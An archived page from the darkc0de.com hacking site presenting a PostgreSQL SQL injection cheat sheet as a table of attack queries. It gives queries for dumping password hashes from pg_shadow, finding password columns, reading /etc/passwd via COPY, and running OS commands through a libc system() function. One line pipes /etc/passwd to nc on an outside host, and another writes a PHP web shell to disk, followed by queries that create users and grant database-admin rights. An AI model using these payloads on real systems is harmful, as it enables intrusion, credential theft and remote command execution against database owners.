| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. 74. 75. 76. 77. 78. 79. 80. 81. 82. 83. 84. 85. 86. 87. 88. 89. 90. 91. 92. 93. 94. 95. 96. 97. 98. 99. 100. 101. 102. 103. 104. 105. 106. 107. 108. 109. 110. 111. 112. 113. 114. 115. 116. 117. 118. | <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<style type="text/css">
/* <![CDATA[ */
table, td
{
border-color: #353637;
border-style: solid;
}
table
{
border-width: 0 0 2px 2px;
border-spacing: 0;
border-collapse: collapse;
}
td
{
margin: 0;
padding: 10px;
border-width: 2px 2px 0 0;
}
/* ]]> */
</style>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<link rel="shortcut icon" href="/websites/darkc0de.com/images/favicon.ico" type="image/x-icon" />
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<title>darkc0de.com [ Postgres SQL Injection Cheat Sheet ]</title>
<link rel="stylesheet" type="text/css" href="/websites/darkc0de.com/style.css" />
</head>
<body>
<div id="outer">
<div id="inner">
<div id="close"><a href="/websites/darkc0de.com/index.shtml" title="close and return to menu">X</a></div>
<div id="top"><a href="#top" title="back to top">^</a></div>
<!--greyed out links-->
<div class="bgtext">dark c0de</div>
<div id="text1">scanners</div>
<div id="text2">encryption</div>
<div id="text3">miscellaneous</div>
<div id="text4">bruteforce</div>
<div id="text5">irc-bots</div>
<div id="text6">others</div>
<div id="text7">development</div>
<div id="text8">py»exploits</div>
<div id="text10">[s3rvices]</div>
<div id="text11">Welcome:</div>
<div id="text13">Affiliates</div>
<div id="text14">[sn1ppets]</div>
<div id="text16">Viewed:</div>
<!--greyed out links end-->
<div id="urltext"><a href="/websites/darkc0de.com/index.shtml" class="navigurl" title="click to return to the index page">/home » </a>Postgres SQL Injection Cheat Sheet</div>
<div id="content">
<a name="top"></a>
<div class="titleblock">Welcome, 212.235.66.182</div>
Send all updates to <a href="mailto:d3hydr8[at]gmail[dot]com">[ d3hydr8[at]gmail[dot]com ]</a> or use the form below.
<div class="titleblock">Last Modified: Tuesday, 22-Sep-2009 10:11:14 EDT</div>
<br>
<center><form action="/websites/darkc0de.com/cgi-bin/getinput.py" method='post'>
<b>Submit: </b>
<textarea maxlength="30" onkeyup="return ismaxlength(this)" style="background-color:#B0C4DE" name = "message" rows = 1 cols = 40>Enter an update with full details.</textarea><br>
<input type="image" border="0" name="submit" value="send" src="/websites/darkc0de.com/images/submit.jpg"></form></center><br>
<ul><li><a href="/websites/darkc0de.com/database/oracle-cs.shtml">Oracle</a></li>
<li><a href="/websites/darkc0de.com/database/mssql-cs.shtml">MSSQL</a></li>
<li><a href="/websites/darkc0de.com/database/mysql-cs.shtml">MySQL</a></li>
<li><a href="/websites/darkc0de.com/database/postgres-cs.shtml">PostgreSQL</a></li>
<li><a href="/websites/darkc0de.com/database/ingres-cs.shtml">Ingres</a></li>
<li><a href="/websites/darkc0de.com/database/db2-cs.shtml">DB2</a></li>
<li><a href="/websites/darkc0de.com/database/msaccess-cs.shtml">MS Access</a></li></ul>
<br><br><center>
<table width="519">
<tbody><tr><td>Version<br></td><td>SELECT version() </td></tr><tr><td>Comments </td><td>SELECT 1; --comment<br>SELECT /*comment*/1;<br> </td></tr><tr><td>Current User <br></td><td>SELECT user; <br>SELECT current_user; <br>SELECT session_user; <br>SELECT usename FROM pg_user;<br>SELECT getpgusername();<br></td></tr><tr><td>List Users</td><td>SELECT usename FROM pg_user <br></td></tr><tr><td>List Password Hashes<br></td><td>SELECT usename, passwd FROM pg_shadow -- priv</td></tr><tr><td>List Privileges</td><td>SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user</td></tr><tr><td>List DBA Accounts</td><td>SELECT usename FROM pg_user WHERE usesuper IS TRUE </td></tr><tr><td>Current Database </td><td>SELECT current_database() </td></tr><tr><td>List Databases </td><td>SELECT datname FROM pg_database</td></tr><tr><td>List Columns <br></td><td>SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') </td></tr><tr><td>List Tables </td><td>SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid)</td></tr><tr><td>Find Tables From Column Name </td><td><p>If you want to list all the table names that contain a column LIKE '%password%':</p><p>SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%'; </p></td></tr><tr><td>Select Nth Row</td><td>SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; -- rows numbered from 0<br>SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;<br></td></tr><tr><td>Select Nth Char <br></td><td>SELECT substr('abcd', 3, 1); -- returns c<br></td></tr><tr><td>Bitwise AND <br></td><td>SELECT 6 & 2; -- returns 2<br>SELECT 6 & 1; --returns 0<br></td></tr><tr><td><p>ASCII Value -> Char</p></td><td>SELECT chr(65);<br></td></tr><tr><td>Char -> ASCII Value</td><td>SELECT ascii('A');<br></td></tr><tr><td>Casting</td><td>SELECT CAST(1 as varchar);<br>SELECT CAST('1' as int);<br></td></tr><tr><td>String Concatenation</td><td>SELECT 'A' || 'B'; -- returnsAB</td></tr><tr><td><p>If Statement</p></td><td>IF statements only seem valid inside functions, so aren't much use for SQL injection. See CASE statement instead.</td></tr><tr><td>Case Statement</td><td>SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; -- returns A<br></td></tr><tr><td>Avoiding Quotes <br></td><td>SELECT CHR(65)||CHR(66); -- returns AB<br></td></tr><tr><td>Time Delay <br></td><td>SELECT pg_sleep(10); -- postgres 8.2+ only<br>CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(10); --priv, create your own sleep function. Taken from <a href="http://www.portcullis.co.uk/uplds/whitepapers/Having_Fun_With_PostgreSQL.pdf">here</a> .<br></td></tr><tr><td>Make DNS Requests</td><td><p>Generally not possible in postgres. However if <a href="http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.html">contrib/dblink</a> is installed (it isn't by default) it can be used to resolve hostnames (assuming you have DBA rights): </p><pre>SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);</pre><p>Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. "ping pentestmonkey.net".</p></td></tr><tr><td>Command Execution</td><td><p>CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; -- priv</p><p>SELECT system('cat /etc/passwd | nc 10.0.0.1 8080'); -- priv, commands run as postgres/pgsql OS-level user</p></td></tr><tr><td>Local File Access<br></td><td><p>CREATE TABLE mydata(t text);<br>COPY mydata FROM '/etc/passwd'; -- priv, can read files which are readable by postgres OS-level user<br>...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; -- get data back one row at a time<br>...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; -- get data back one row at a time ...<br>DROP TABLE mytest mytest;</p><p>Write to a file:</p><p>CREATE TABLE mytable (mycol text);<br>INSERT INTO mytable(mycol) VALUES ('<? pasthru($_GET[cmd]); ?>');<br>COPY mytable (mycol) TO '/tmp/test.php'; --priv, write files as postgres OS-level user. Generally you won't be able to write to the web root, but it's always work a try. <br>-- priv user can also read/write files by <a href="http://www.portcullis.co.uk/uplds/whitepapers/Having_Fun_With_PostgreSQL.pdf">mapping libc functions</a> </p></td></tr><tr><td>Hostname, IP Address</td><td>SELECT inet_server_addr(); -- returns db server IP address (or null if using local connection)<br>SELECT inet_server_port(); -- returns db server IP address (or null if using local connection)<br> </td></tr><tr><td>Create Users<br></td><td>CREATE USER test1 PASSWORD 'pass1'; -- priv<br>CREATE USER test1 PASSWORD 'pass1' CREATEUSER; -- priv, grant some privs at the same time<br></td></tr><tr><td>Drop Users<br></td><td>DROP USER test1; -- priv<br></td></tr><tr><td>Make User DBA<br></td><td>ALTER USER test1 CREATEUSER CREATEDB; -- priv<br></td></tr><tr><td> Location of DB files<br></td><td>SELECT current_setting('data_directory'); -- priv<br>SELECT current_setting('hba_file'); -- priv<br></td></tr></tbody></table>
<br>
<br>
<br><br>
<a href="/websites/darkc0de.com/store/advertise.html"><font color="white"><b>Advertise Here</b></a></font><br>
<script language="javascript">
zoneIdentifier="3F8D8B7CF6A06513";
var varCheckURL = (("https:" == document.location.protocol) ? "https://" : "http://");
document.write(unescape("%3Cscript src='" + varCheckURL + "adcode.adengage.com/bootstrap/ae.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<br><br>
<b><font size="2" face="courier">This site is maintained by d3hydr8[at]gmail[dot]com
<br>darkc0de.com ™ © 2006-Now</font></b>
<br>
<br>
</center>
<br>
</ol>
<div class="titleblock">EOF</div>
</div>
</div>
</div>
</body>
</html>
|